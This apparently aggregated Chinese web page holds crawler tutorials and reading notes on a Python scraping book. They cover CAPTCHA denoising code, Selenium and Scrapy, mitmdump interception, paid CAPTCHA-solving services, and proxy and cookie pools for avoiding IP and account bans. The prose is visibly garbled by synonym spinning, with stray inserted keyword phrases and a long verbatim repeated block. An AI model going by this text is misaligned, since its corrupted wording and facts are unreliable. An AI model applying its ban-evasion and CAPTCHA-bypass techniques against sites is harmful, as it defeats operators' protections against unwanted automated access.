  爬蟲(chóng)是哪些呢,簡(jiǎn)單而片面的說(shuō),爬蟲(chóng)就是由計算機手動(dòng)與服務(wù)器交互獲取數據的工具。爬蟲(chóng)的最基本就是get一個(gè)網(wǎng)頁(yè)的源代碼數據,如果更深入一些,就會(huì )出現和網(wǎng)頁(yè)進(jìn)行POST交互,獲取服務(wù)器接收POST懇求后返回的數據。一句話(huà),爬蟲(chóng)拿來(lái)手動(dòng)獲取源數據,至于更多的數據處理等等是后續的工作,這篇文章主要想說(shuō)說(shuō)爬蟲(chóng)獲取數據的這一部分。爬蟲(chóng)請注意網(wǎng)站的Robot.txt文件,不要使爬蟲(chóng)違規,也不要使爬蟲(chóng)對網(wǎng)站造成傷害。
  
  反爬及反反爬概念的不恰當舉例
  基于好多誘因(如服務(wù)器資源,保護數據等),很多網(wǎng)站是限制了爬蟲(chóng)療效的。
  考慮一下,由人來(lái)充當爬蟲(chóng)的角色,我們如何獲取網(wǎng)頁(yè)源代碼?最常用的其實(shí)是右鍵源代碼。
  網(wǎng)站屏蔽了右鍵,怎么辦?
  
  拿出我們做爬蟲(chóng)中最有用的東西 F12(歡迎討論)
  同時(shí)按下F12就可以打開(kāi)了(滑稽)
  
  源代碼下來(lái)了??!
  在把人當成爬蟲(chóng)的情況下,屏蔽右鍵就是反爬取策略,F12就是反反爬取的方法。
  講講即將的反爬取策略
  事實(shí)上,在寫(xiě)爬蟲(chóng)的過(guò)程中一定出現過(guò)沒(méi)有返回數據的情況,這種時(shí)侯其實(shí)是服務(wù)器限制了UA頭(user-agent),這就是一種太基本的反爬取,只要發(fā)送懇求的時(shí)侯加上UA頭就可以了…是不是很簡(jiǎn)單?
  其實(shí)一股腦把須要不需要的Request Headers都加上也是一個(gè)簡(jiǎn)單粗暴的辦法……
  有沒(méi)有發(fā)覺(jué)網(wǎng)站的驗證碼也是一個(gè)反爬取策略呢?為了使網(wǎng)站的用戶(hù)能是真人,驗證碼真是做了很大的貢獻。隨驗證碼而至的,驗證碼識別出現了。
  說(shuō)到這,不知道是先出現了驗證碼識別還是圖片辨識呢?
  簡(jiǎn)單的驗證碼現今辨識上去是極其簡(jiǎn)單的,網(wǎng)上有太多教程,包括稍為進(jìn)階一下的去噪,二值,分割,重組等概念??墒侨缃窬W(wǎng)站人機辨識早已越發(fā)的驚悚了上去,比如這些:
  
  簡(jiǎn)單述說(shuō)一下去噪二值的概念
  將一個(gè)驗證碼
  
  變成
  
  就是二值,也就是將圖片本身弄成只有兩個(gè)色彩,例子很簡(jiǎn)單,通過(guò)python PIL庫里的
  
Image.convert(&quot;1&quot;)
  就能實(shí)現,但若果圖片顯得更為復雜,還是要多思索一下,比如
  
  如果直接用簡(jiǎn)單形式的話(huà) 就會(huì )弄成
  
  思考一些此類(lèi)驗證碼應當如何辨識?這種時(shí)侯 去噪 就派上了好處,根據驗證碼本身的特點(diǎn),可以估算驗證碼的底色和字體之外的RGB值等,將這種值弄成一個(gè)顏色爬蟲(chóng)技術(shù),將字體留出。示例代碼如下,換色即可
  for x in range(0,image.size[0]):
  for y in range(0,image.size[1]):
  # print arr2[x][y]
  if arr[x][y].tolist()==底色:
  arr[x][y]=0
  elif arr[x][y].tolist()[0] in range(200,256) and arr[x][y].tolist()[1] in range(200,256) and arr[x][y].tolist()[2] in range(200,256):
  arr[x][y]=0
  elif arr[x][y].tolist()==[0,0,0]:
  arr[x][y]=0
  else:
  arr[x][y]=255
  arr是由numpy得到的,根據圖片RGB值得出的矩陣,讀者可以自己嘗試建立代碼,親自實(shí)驗一下。
  細致的處理過(guò)后圖片可以弄成
  
  識別率還是很高的。
  在驗證碼的發(fā)展中,還算清晰的數字字母,簡(jiǎn)單的加減乘除,網(wǎng)上有輪子可以用爬蟲(chóng)技術(shù),有些難的數字字母漢字,也可以自己造輪子(比如前面),但更多的東西,已經(jīng)足夠寫(xiě)一個(gè)人工智能了……(有一種工作就是識別驗證碼…)
  再加一個(gè)小提示:有的網(wǎng)站PC端有驗證碼,而手機端沒(méi)有…
  下一個(gè)話(huà)題!
  反爬取策略中比較常見(jiàn)的還有一種封IP的策略,通常是短時(shí)間內過(guò)多的訪(fǎng)問(wèn)才會(huì )被封禁,這個(gè)很簡(jiǎn)單,限制訪(fǎng)問(wèn)頻度或添加IP代理池就OK了,當然,分布式也可以…
  IP代理池-&gt;左轉Google左轉baidu,有很多代理網(wǎng)站,雖然免費中能用的不多 但其實(shí)可以。
  還有一種也可以算作反爬蟲(chóng)策略的就是異步數據,隨著(zhù)對爬蟲(chóng)的逐步深入(明明是網(wǎng)站的更新?lián)Q代!),異步加載是一定會(huì )遇到的問(wèn)題,解決方法仍然是F12。以不愿透漏姓名的網(wǎng)易云音樂(lè )網(wǎng)站為例,右鍵打開(kāi)源代碼后,嘗試搜索一下評論
  
  數據呢?!這就是JS和Ajax盛行以后異步加載的特性。但是打開(kāi)F12,切換到NetWork選項卡,刷新一下頁(yè)面,仔細找尋,沒(méi)有秘密。
  
  哦,對了 如果你在聽(tīng)歌的話(huà),點(diǎn)進(jìn)去能夠下載呢…

初探爬蟲(chóng) ||《python 3 網(wǎng)絡(luò )爬蟲(chóng)開(kāi)發(fā)實(shí)踐》讀書(shū)筆記 | 小蔣不素小蔣

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 426 次瀏覽 ? 2020-06-24 08:02 ? 來(lái)自相關(guān)話(huà)題

  
  從 Python3.5 版本開(kāi)始,Python 中加入了 async/await。
  接口抓取的缺點(diǎn)是抓不到 js 渲染后的頁(yè)面,而下邊介紹的模擬抓取能挺好的解決問(wèn)題。
  也就是可見(jiàn)即可爬。
  Splash 是一個(gè) javascript 渲染服務(wù)。它是一個(gè)帶有 HTTP API 的輕量級 Web 瀏覽器。
  Selenium 是一個(gè)自動(dòng)化測試工具,利用它我們可以驅動(dòng)測覽器執行特定的動(dòng)作,如點(diǎn)擊、下拉等操作。
  Selenium + Chrome Driver,可以驅動(dòng) Chrome 瀏覽器完成相應的操作。
  Selenium + Phantoms,這樣在運行的時(shí)侯就不會(huì )再彈出一個(gè)瀏覽器了。而且 Phantoms 的運行效率也很高。
  Phantoms 是一個(gè)無(wú)界面的、可腳本編程的 Webkit 7 瀏覽器引擎。
  Appium 是 App 版的 Selenium。
  抓取網(wǎng)頁(yè)代碼以后,下一步就是從網(wǎng)頁(yè)中提取信息。
  正則是最原始的形式,寫(xiě)上去繁雜,可讀性差。
  lxml 是 Python 的一個(gè)解析庫,支持 HTML 和 XML 的解析,支持 XPah 解析方法。
  Beautiful Soup 的 HTML 和 XML 解析器是依賴(lài)于 lxml 庫的,所以在此之前請確保早已成功安裝好了 lxml。
  Beautiful Soup提供好幾個(gè)解析器:
  
  pyquery 同樣是一個(gè)強悍的網(wǎng)頁(yè)解析工具,它提供了和 jquery 類(lèi)似的句型來(lái)解析 HTML 文檔。
  推薦:
  Beautiful Soup(lxml)。lxml 解析器有解析 HTML 和 XML 的功能,而且速度快,容錯能力強。
  如果本身就熟悉 css 和 jquery 的話(huà),就推薦 pyquery。
  NOSQL,全稱(chēng) Not Only SQL,意為不僅僅是 SQL,泛指非關(guān)系型數據庫。包括:
  口 鍵值儲存數據庫:代表有 Redis、Voldemort 和 Oracle BDB 等
  口 列存儲數據庫:代表有 Cassandra、Hbase 和 Riak 等。
  口 文檔型數據庫:代表有 COUCHDB 和 Mongodb 等。
  口 圖形數據庫:代表有 Neo4J、infogrid 和 Infinite Graph 等。
  針對一些復雜應用,尤其是 app,請求不象在 chrome 的 console 里這么容易看見(jiàn),這就須要抓包工具。
  mitmproxy(mitmdump) 比 Charles 更強大的是爬蟲(chóng)軟件開(kāi)發(fā),可以支持對接 Python 腳本去處理 resquest / response。
  方案:Appium + mitmdump
  做法:用 mitmdump 去竊聽(tīng)插口數據,用 Appium 去模擬 App 的操作。
  好處:即可繞開(kāi)復雜的插口參數又能實(shí)現自動(dòng)化提升效率。
  缺點(diǎn):有一些 app,如微信朋友圈的數據又經(jīng)過(guò)了一次加密造成難以解析,這種情況只能純用 Appium 了。但是對于大多數 App 來(lái)說(shuō),此種方式是奏效的。
  pyspide 框架有一些缺點(diǎn),比如可配置化程度不高,異常處理能力有限等,它對于一些反爬程度特別強的網(wǎng)站的爬取變得力不從心。
  所以這兒不多做介紹。
  Scrapy 是一個(gè)基于 Twisted 的異步處理框架,是純 Python 實(shí)現的爬蟲(chóng)框架。
  Scrapy 包括:
  Scrapy-Splash:一個(gè) Scrapy 中支持 Javascript 渲染的工具。
  Scrapy-Redis :Scrap 的分布式擴充模塊。
  Scrapyd :一個(gè)用于布署和運行 Scrapy 項目的工具。
  Scrapyrt :為 Scrap 提供了一個(gè)調度的 HTTP 接口。
  Gerapy :一個(gè) Scrapy 分布式管理模塊。
  Scrapy 可對接:
  Crawlspider : Scrap 提供的一個(gè)通用 Spider,我們可以指定一些爬取規則來(lái)實(shí)現頁(yè)面的提取,
  Splash / Selenium :自動(dòng)化爬取
  Docker
  具體使用:待寫(xiě)
  URI 的全稱(chēng)為 Uniform Resource Identifier,即統一資源標志符。
  URL 的全稱(chēng)為 Universal Resource Locator,即統一資源定位符。
  URN 的全稱(chēng)為 Universal Resource Name,即統一資源名稱(chēng)。
  
  URI 可以進(jìn)一步界定為URL、URN或二者兼具。URL 和 URN 都是 URI 子集。
  URN 如同一個(gè)人的名稱(chēng),而 URL 代表一個(gè)人的住址。換言之,URN 定義某事物的身分,而 URL 提供查找該事物的技巧。
  現在常用的http網(wǎng)址,如 就是URL。
  而用于標示惟一書(shū)目的 ISBN 系統, 如:isbn:0-486-27557-4 ,就是 URN 。
  但是在目前的互聯(lián)網(wǎng)中,URN 用得十分少,所以幾乎所有的 URI 都是 URL。
  Robots 協(xié)議也叫做爬蟲(chóng)協(xié)議、機器人合同,它的全名叫作網(wǎng)路爬蟲(chóng)排除標準(Robots Exclusion Protocol),用來(lái)告訴爬蟲(chóng)和搜索引擎什么頁(yè)面可以抓取,哪些不可以抓取。它一般是一個(gè)叫作robots.txt 的文本文件,一般置于網(wǎng)站的根目錄下。
  當搜索爬蟲(chóng)訪(fǎng)問(wèn)一個(gè)站點(diǎn)時(shí),它首先會(huì )檢測這個(gè)站點(diǎn)根目錄下是否存在 robots.txt 文件,如果存在搜索爬蟲(chóng)會(huì )按照其中定義的爬取范圍來(lái)爬取。如果沒(méi)有找到這個(gè)文件爬蟲(chóng)軟件開(kāi)發(fā),搜索爬蟲(chóng)便會(huì )訪(fǎng)問(wèn)所有可直接訪(fǎng)問(wèn)的頁(yè)面。
  robotx.txt 需要置于網(wǎng)站根目錄。
  User-agent: *
Disallow: /
Allow: /public/
  Disallow表示不容許爬的頁(yè)面,Allow表示準許爬的頁(yè)面,User-agent表示針對那個(gè)常用搜索引擎。
  User-agent 為約定好的值,取值如下表:
  
  1、測試環(huán)境
  2、管理后臺(如 cms)
  3、其它
  1、Google的 Robots.txt 規范。
  2、站長(cháng)工具的 robots文件生成 工具。
  Xpath,全稱(chēng) XML Path Language,即 XML 路徑語(yǔ)言,它是一門(mén)在 XML 文檔中査找信息的語(yǔ)言。它最初是拿來(lái)搜救 XML 文檔的,但是它同樣適用于 HTML 文檔的搜索。
  Xpath 的選擇功能非常強悍,它提供了十分簡(jiǎn)約明了的路徑選擇表達式。另外,它還提供了超過(guò) 100 個(gè)內建函數,用于字符串、數值、時(shí)間的匹配以及節點(diǎn)、序列的處理等。
  Xpath 于 1999 年 11 月 16 日成為 W3C 標準。
  就好象 css 選擇器。
  可以使用 Tesseract ,它是 Python 的一個(gè) OCR 識別庫。
  市面上用的最多的是這家提供的滑動(dòng)驗證碼: ,如 bilibili。
  可以用自動(dòng)化庫,如 Selenium 模擬滑動(dòng)(注意人去滑動(dòng)按鍵是先快后慢)。
  解決思路:模板匹配+模擬拖動(dòng)
  還有一個(gè)專(zhuān)門(mén)提供點(diǎn)觸驗證碼服務(wù)的站點(diǎn) Touclick,例如 12306 網(wǎng)站。
  上面說(shuō)的第四個(gè):點(diǎn)觸驗證碼,應該是最難辨識的了。
  但互聯(lián)網(wǎng)上有好多驗證碼服務(wù)平臺,平臺 7×24 小時(shí)提供驗證碼辨識服務(wù),一張圖片幾秒都會(huì )獲得辨識結果,準確率可達 90%以上。
  個(gè)人比較推薦的一個(gè)平臺是超級鷹,其官網(wǎng)為 。其提供的服務(wù)種類(lèi)十分廣泛,可辨識的驗證碼類(lèi)型特別多,其中就包括點(diǎn)觸驗證碼。
  ロ FTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn) FTP 服務(wù)器,一般有上傳、下載以及緩存功能,端口通常為 21、2121 等。
  ロ HTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn)網(wǎng)頁(yè),一般有內容過(guò)濾和緩存功能,端口通常為 80、8080、3128等。
  口 SSL/TLS代理:主要用于訪(fǎng)問(wèn)加密網(wǎng)站,一般有SSL或TLS加密功能(最高支持 128 位加密硬度),端口通常為 443。
  口 RTSP 代理:主要用于訪(fǎng)問(wèn) Real 流媒體服務(wù)器,一般有緩存功能,端口通常為 554。
  口 Telnet 代理:主要用于 telnet 遠程控制(黑客入侵計算機時(shí)常用于隱藏身份),端口通常為 23。
  口 POP3 SMTP 代理:主要用于 POP3 SMTP 方式收發(fā)短信,一般有緩存功能,端口通常為 11025 。
  口 SOCKS 代理:只是單純傳遞數據包,不關(guān)心具體合同和用法,所以速度快好多,一般有緩存功能,端口通常為 1080。SOCKS 代理合同又分為 SOCKS4 和 SOCKS5,前者只支持 TCP,而后者支持 TCP 和 UDP,還支持各類(lèi)身分驗證機制、服務(wù)器端域名解析等。簡(jiǎn)單來(lái)說(shuō),SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。
  口 高度匿名代理:會(huì )將數據包原封不動(dòng)地轉發(fā),在服務(wù)端看來(lái)就似乎真的是一個(gè)普通客戶(hù)端在訪(fǎng)問(wèn),而記錄的 IP 是代理服務(wù)器的 IP。
  ロ 普通匿名代理:會(huì )在數據包上做一些改動(dòng),服務(wù)端上有可能發(fā)覺(jué)這是個(gè)代理服務(wù)器,也有一定概率徹查到客戶(hù)端的真實(shí) IP。代理服務(wù)器一般會(huì )加入的 HTIP 頭有 HTTPVIA 和 HTTPXFORWARDEDFOR。
  口 透明代理:不但改動(dòng)了數據包,還會(huì )告訴服務(wù)器客戶(hù)端的真實(shí) IP。這種代理不僅能用緩存技術(shù)提升瀏覽速率,能用內容過(guò)濾提升安全性之外,并無(wú)其他明顯作用,最常見(jiàn)的事例是外網(wǎng)中的硬件防火墻。
  口 間諜代理:指組織或個(gè)人創(chuàng )建的用于記錄用戶(hù)傳輸的數據,然后進(jìn)行研究、監控等目的的代理服務(wù)器。
  網(wǎng)站上會(huì )有很多免費代理,比如南刺: 。但是這種免費代理大多數情況下都是不好用的,所以比較靠譜的方式是訂購付費代理。
  1、提供插口獲取海量代理,按天或則按時(shí)收費,如訊代理;
  如果信賴(lài)訊代理的話(huà),我們也可以不做代理池篩選,直接使用代理。不過(guò)我個(gè)人還是推薦使用代理池篩選,以提升代理可用機率。自己再做一次篩選,以確保代理可用。
  2、搭建了代理隧洞,直接設置固定域名代理,如阿布云代理。云代理在云端維護一個(gè)全局 IP 池供代理隧洞使用,池中的 IP 會(huì )不間斷更新。代理隧洞,配置簡(jiǎn)單,代理速率快且十分穩定。
  等于幫你做了一個(gè)云端的代理池,不用自己實(shí)現了。
  需要注意的是,代理 IP 池中部份 IP 可能會(huì )在當日重復出現多次。
  3、ADSL 撥號代理
  ADSL (Asymmetric Digital Subscriber Line,非對稱(chēng)數字用戶(hù)支路),它的上行和下行帶寬不對稱(chēng),它采用頻分復用技術(shù)把普通的電話(huà)線(xiàn)分成了電話(huà)、上行和下行 3 個(gè)相對獨立的信道,從而防止了互相之間的干擾。
  我們借助了 ADSL 通過(guò)拔號的形式上網(wǎng),需要輸入 ADSL 賬號和密碼,每次拔號就更換一個(gè) IP 這個(gè)特點(diǎn)。
  所以我們可以先訂購一臺動(dòng)態(tài)拔號 VPS 主機,這樣的主機服務(wù)商相當多。在這里使用了云立方,官方網(wǎng)站:
  代理不論是免費的還是付費的,都不能保證都是可用的,因為:
  1、此 IP 可能被其他人使用來(lái)爬取同樣的目標站點(diǎn)而被封禁。
  2、代理服務(wù)器忽然發(fā)生故障。
  3、網(wǎng)絡(luò )忙碌。
  4、購買(mǎi)的代理到期。
  5、等等
  所以,我們須要提早做篩選,將不可用的代理剔除掉,保留可用代理。這就須要代理池,來(lái)獲取隨機可用的代理。
  
  代理池分為 4 個(gè)模塊: 存儲模塊、獲取模塊、檢測模塊、接口模塊。
  口 存儲模塊使用 Redis 的有序集合,用來(lái)做代理的去重和狀態(tài)標示,同時(shí)它也是中心模塊和基礎模塊,將其他模塊串聯(lián)上去。
  口 獲取模塊定時(shí)從代理網(wǎng)站獲取代理,將獲取的代理傳遞給儲存模塊,并保存到數據庫。
  口 檢測模塊定時(shí)通過(guò)儲存模塊獲取所有代理,并對代理進(jìn)行檢查,根據不同的測量結果對代理設置不同的標示。
  口 接口模塊通過(guò)WebAPI 提供服務(wù)插口,接口通過(guò)聯(lián)接數據庫并通過(guò)Web 形式返回可用的代理。
  對于這兒的測量模塊,建議使用 aiohttp 而不是 requests,原因是:
  對于響應速率比較快的網(wǎng)站來(lái)說(shuō),requests 同步懇求和 aiohttp 異步懇求的療效差別沒(méi)這么大。但對于測量代理來(lái)說(shuō),檢測一個(gè)代理通常須要十多秒甚至幾十秒的時(shí)間,這時(shí)候使用 aiohttp 異步懇求庫的優(yōu)勢就大大彰顯下來(lái)了,效率可能會(huì )提升幾十倍不止。
 ?。?)有的數據必須要登陸能夠抓取。
 ?。?)有時(shí)候,登錄帳號也可以減少被封禁的幾率。
  做大規模抓取,我們就須要擁有好多帳號,每次懇求隨機選定一個(gè)帳號,這樣就減少了單個(gè)帳號的訪(fǎng)問(wèn)潁率,被封的機率又會(huì )大大增加。
  所以,我們可以維護一個(gè)登陸用的 Cookies 池。
  架構跟代理池一樣??蓞⒖忌衔?。
  待寫(xiě)
  python 的 open() 支持的模式可以是只讀/寫(xiě)入/追加,也是可以它們的組合型,具體如下:
  模式描述
  r
  以只讀方法打開(kāi)文件。文件的表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  rb
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于只讀。文件表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  r+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  rb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  w
  打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb
  以二進(jìn)制格式打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  w+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  a
  打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  ab
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  a+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在,文件指針將會(huì )放到文件的結尾。文件打開(kāi)時(shí)會(huì )是追加模式。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  ab+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  1、r+ 和 w+ 都是讀寫(xiě),有哪些區別?
  答:前者是假如沒(méi)有找到文件則拋錯,后者是假如沒(méi)有找到文件則手動(dòng)創(chuàng )建文件。
  2、a 可以看成是 w 的變種,附加上了”追加內容“的特點(diǎn)。
  一般調用 open() 的時(shí)侯還須要再調用 close()。 python 提供了一種縮寫(xiě)方式,那就是使用 with as 語(yǔ)法。在 with 控制塊結束時(shí),文件會(huì )手動(dòng)關(guān)掉,不需要 close() 了。調用寫(xiě)法如下: 查看全部

  
  從 Python3.5 版本開(kāi)始,Python 中加入了 async/await。
  接口抓取的缺點(diǎn)是抓不到 js 渲染后的頁(yè)面,而下邊介紹的模擬抓取能挺好的解決問(wèn)題。
  也就是可見(jiàn)即可爬。
  Splash 是一個(gè) javascript 渲染服務(wù)。它是一個(gè)帶有 HTTP API 的輕量級 Web 瀏覽器。
  Selenium 是一個(gè)自動(dòng)化測試工具,利用它我們可以驅動(dòng)測覽器執行特定的動(dòng)作,如點(diǎn)擊、下拉等操作。
  Selenium + Chrome Driver,可以驅動(dòng) Chrome 瀏覽器完成相應的操作。
  Selenium + Phantoms,這樣在運行的時(shí)侯就不會(huì )再彈出一個(gè)瀏覽器了。而且 Phantoms 的運行效率也很高。
  Phantoms 是一個(gè)無(wú)界面的、可腳本編程的 Webkit 7 瀏覽器引擎。
  Appium 是 App 版的 Selenium。
  抓取網(wǎng)頁(yè)代碼以后,下一步就是從網(wǎng)頁(yè)中提取信息。
  正則是最原始的形式,寫(xiě)上去繁雜,可讀性差。
  lxml 是 Python 的一個(gè)解析庫,支持 HTML 和 XML 的解析,支持 XPah 解析方法。
  Beautiful Soup 的 HTML 和 XML 解析器是依賴(lài)于 lxml 庫的,所以在此之前請確保早已成功安裝好了 lxml。
  Beautiful Soup提供好幾個(gè)解析器:
  
  pyquery 同樣是一個(gè)強悍的網(wǎng)頁(yè)解析工具,它提供了和 jquery 類(lèi)似的句型來(lái)解析 HTML 文檔。
  推薦:
  Beautiful Soup(lxml)。lxml 解析器有解析 HTML 和 XML 的功能,而且速度快,容錯能力強。
  如果本身就熟悉 css 和 jquery 的話(huà),就推薦 pyquery。
  NOSQL,全稱(chēng) Not Only SQL,意為不僅僅是 SQL,泛指非關(guān)系型數據庫。包括:
  口 鍵值儲存數據庫:代表有 Redis、Voldemort 和 Oracle BDB 等
  口 列存儲數據庫:代表有 Cassandra、Hbase 和 Riak 等。
  口 文檔型數據庫:代表有 COUCHDB 和 Mongodb 等。
  口 圖形數據庫:代表有 Neo4J、infogrid 和 Infinite Graph 等。
  針對一些復雜應用,尤其是 app,請求不象在 chrome 的 console 里這么容易看見(jiàn),這就須要抓包工具。
  mitmproxy(mitmdump) 比 Charles 更強大的是爬蟲(chóng)軟件開(kāi)發(fā),可以支持對接 Python 腳本去處理 resquest / response。
  方案:Appium + mitmdump
  做法:用 mitmdump 去竊聽(tīng)插口數據,用 Appium 去模擬 App 的操作。
  好處:即可繞開(kāi)復雜的插口參數又能實(shí)現自動(dòng)化提升效率。
  缺點(diǎn):有一些 app,如微信朋友圈的數據又經(jīng)過(guò)了一次加密造成難以解析,這種情況只能純用 Appium 了。但是對于大多數 App 來(lái)說(shuō),此種方式是奏效的。
  pyspide 框架有一些缺點(diǎn),比如可配置化程度不高,異常處理能力有限等,它對于一些反爬程度特別強的網(wǎng)站的爬取變得力不從心。
  所以這兒不多做介紹。
  Scrapy 是一個(gè)基于 Twisted 的異步處理框架,是純 Python 實(shí)現的爬蟲(chóng)框架。
  Scrapy 包括:
  Scrapy-Splash:一個(gè) Scrapy 中支持 Javascript 渲染的工具。
  Scrapy-Redis :Scrap 的分布式擴充模塊。
  Scrapyd :一個(gè)用于布署和運行 Scrapy 項目的工具。
  Scrapyrt :為 Scrap 提供了一個(gè)調度的 HTTP 接口。
  Gerapy :一個(gè) Scrapy 分布式管理模塊。
  Scrapy 可對接:
  Crawlspider : Scrap 提供的一個(gè)通用 Spider,我們可以指定一些爬取規則來(lái)實(shí)現頁(yè)面的提取,
  Splash / Selenium :自動(dòng)化爬取
  Docker
  具體使用:待寫(xiě)
  URI 的全稱(chēng)為 Uniform Resource Identifier,即統一資源標志符。
  URL 的全稱(chēng)為 Universal Resource Locator,即統一資源定位符。
  URN 的全稱(chēng)為 Universal Resource Name,即統一資源名稱(chēng)。
  
  URI 可以進(jìn)一步界定為URL、URN或二者兼具。URL 和 URN 都是 URI 子集。
  URN 如同一個(gè)人的名稱(chēng),而 URL 代表一個(gè)人的住址。換言之,URN 定義某事物的身分,而 URL 提供查找該事物的技巧。
  現在常用的http網(wǎng)址,如 就是URL。
  而用于標示惟一書(shū)目的 ISBN 系統, 如:isbn:0-486-27557-4 ,就是 URN 。
  但是在目前的互聯(lián)網(wǎng)中,URN 用得十分少,所以幾乎所有的 URI 都是 URL。
  Robots 協(xié)議也叫做爬蟲(chóng)協(xié)議、機器人合同,它的全名叫作網(wǎng)路爬蟲(chóng)排除標準(Robots Exclusion Protocol),用來(lái)告訴爬蟲(chóng)和搜索引擎什么頁(yè)面可以抓取,哪些不可以抓取。它一般是一個(gè)叫作robots.txt 的文本文件,一般置于網(wǎng)站的根目錄下。
  當搜索爬蟲(chóng)訪(fǎng)問(wèn)一個(gè)站點(diǎn)時(shí),它首先會(huì )檢測這個(gè)站點(diǎn)根目錄下是否存在 robots.txt 文件,如果存在搜索爬蟲(chóng)會(huì )按照其中定義的爬取范圍來(lái)爬取。如果沒(méi)有找到這個(gè)文件爬蟲(chóng)軟件開(kāi)發(fā),搜索爬蟲(chóng)便會(huì )訪(fǎng)問(wèn)所有可直接訪(fǎng)問(wèn)的頁(yè)面。
  robotx.txt 需要置于網(wǎng)站根目錄。
  User-agent: *
Disallow: /
Allow: /public/
  Disallow表示不容許爬的頁(yè)面,Allow表示準許爬的頁(yè)面,User-agent表示針對那個(gè)常用搜索引擎。
  User-agent 為約定好的值,取值如下表:
  
  1、測試環(huán)境
  2、管理后臺(如 cms)
  3、其它
  1、Google的 Robots.txt 規范。
  2、站長(cháng)工具的 robots文件生成 工具。
  Xpath,全稱(chēng) XML Path Language,即 XML 路徑語(yǔ)言,它是一門(mén)在 XML 文檔中査找信息的語(yǔ)言。它最初是拿來(lái)搜救 XML 文檔的,但是它同樣適用于 HTML 文檔的搜索。
  Xpath 的選擇功能非常強悍,它提供了十分簡(jiǎn)約明了的路徑選擇表達式。另外,它還提供了超過(guò) 100 個(gè)內建函數,用于字符串、數值、時(shí)間的匹配以及節點(diǎn)、序列的處理等。
  Xpath 于 1999 年 11 月 16 日成為 W3C 標準。
  就好象 css 選擇器。
  可以使用 Tesseract ,它是 Python 的一個(gè) OCR 識別庫。
  市面上用的最多的是這家提供的滑動(dòng)驗證碼: ,如 bilibili。
  可以用自動(dòng)化庫,如 Selenium 模擬滑動(dòng)(注意人去滑動(dòng)按鍵是先快后慢)。
  解決思路:模板匹配+模擬拖動(dòng)
  還有一個(gè)專(zhuān)門(mén)提供點(diǎn)觸驗證碼服務(wù)的站點(diǎn) Touclick,例如 12306 網(wǎng)站。
  上面說(shuō)的第四個(gè):點(diǎn)觸驗證碼,應該是最難辨識的了。
  但互聯(lián)網(wǎng)上有好多驗證碼服務(wù)平臺,平臺 7×24 小時(shí)提供驗證碼辨識服務(wù),一張圖片幾秒都會(huì )獲得辨識結果,準確率可達 90%以上。
  個(gè)人比較推薦的一個(gè)平臺是超級鷹,其官網(wǎng)為 。其提供的服務(wù)種類(lèi)十分廣泛,可辨識的驗證碼類(lèi)型特別多,其中就包括點(diǎn)觸驗證碼。
  ロ FTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn) FTP 服務(wù)器,一般有上傳、下載以及緩存功能,端口通常為 21、2121 等。
  ロ HTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn)網(wǎng)頁(yè),一般有內容過(guò)濾和緩存功能,端口通常為 80、8080、3128等。
  口 SSL/TLS代理:主要用于訪(fǎng)問(wèn)加密網(wǎng)站,一般有SSL或TLS加密功能(最高支持 128 位加密硬度),端口通常為 443。
  口 RTSP 代理:主要用于訪(fǎng)問(wèn) Real 流媒體服務(wù)器,一般有緩存功能,端口通常為 554。
  口 Telnet 代理:主要用于 telnet 遠程控制(黑客入侵計算機時(shí)常用于隱藏身份),端口通常為 23。
  口 POP3 SMTP 代理:主要用于 POP3 SMTP 方式收發(fā)短信,一般有緩存功能,端口通常為 11025 。
  口 SOCKS 代理:只是單純傳遞數據包,不關(guān)心具體合同和用法,所以速度快好多,一般有緩存功能,端口通常為 1080。SOCKS 代理合同又分為 SOCKS4 和 SOCKS5,前者只支持 TCP,而后者支持 TCP 和 UDP,還支持各類(lèi)身分驗證機制、服務(wù)器端域名解析等。簡(jiǎn)單來(lái)說(shuō),SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。
  口 高度匿名代理:會(huì )將數據包原封不動(dòng)地轉發(fā),在服務(wù)端看來(lái)就似乎真的是一個(gè)普通客戶(hù)端在訪(fǎng)問(wèn),而記錄的 IP 是代理服務(wù)器的 IP。
  ロ 普通匿名代理:會(huì )在數據包上做一些改動(dòng),服務(wù)端上有可能發(fā)覺(jué)這是個(gè)代理服務(wù)器,也有一定概率徹查到客戶(hù)端的真實(shí) IP。代理服務(wù)器一般會(huì )加入的 HTIP 頭有 HTTPVIA 和 HTTPXFORWARDEDFOR。
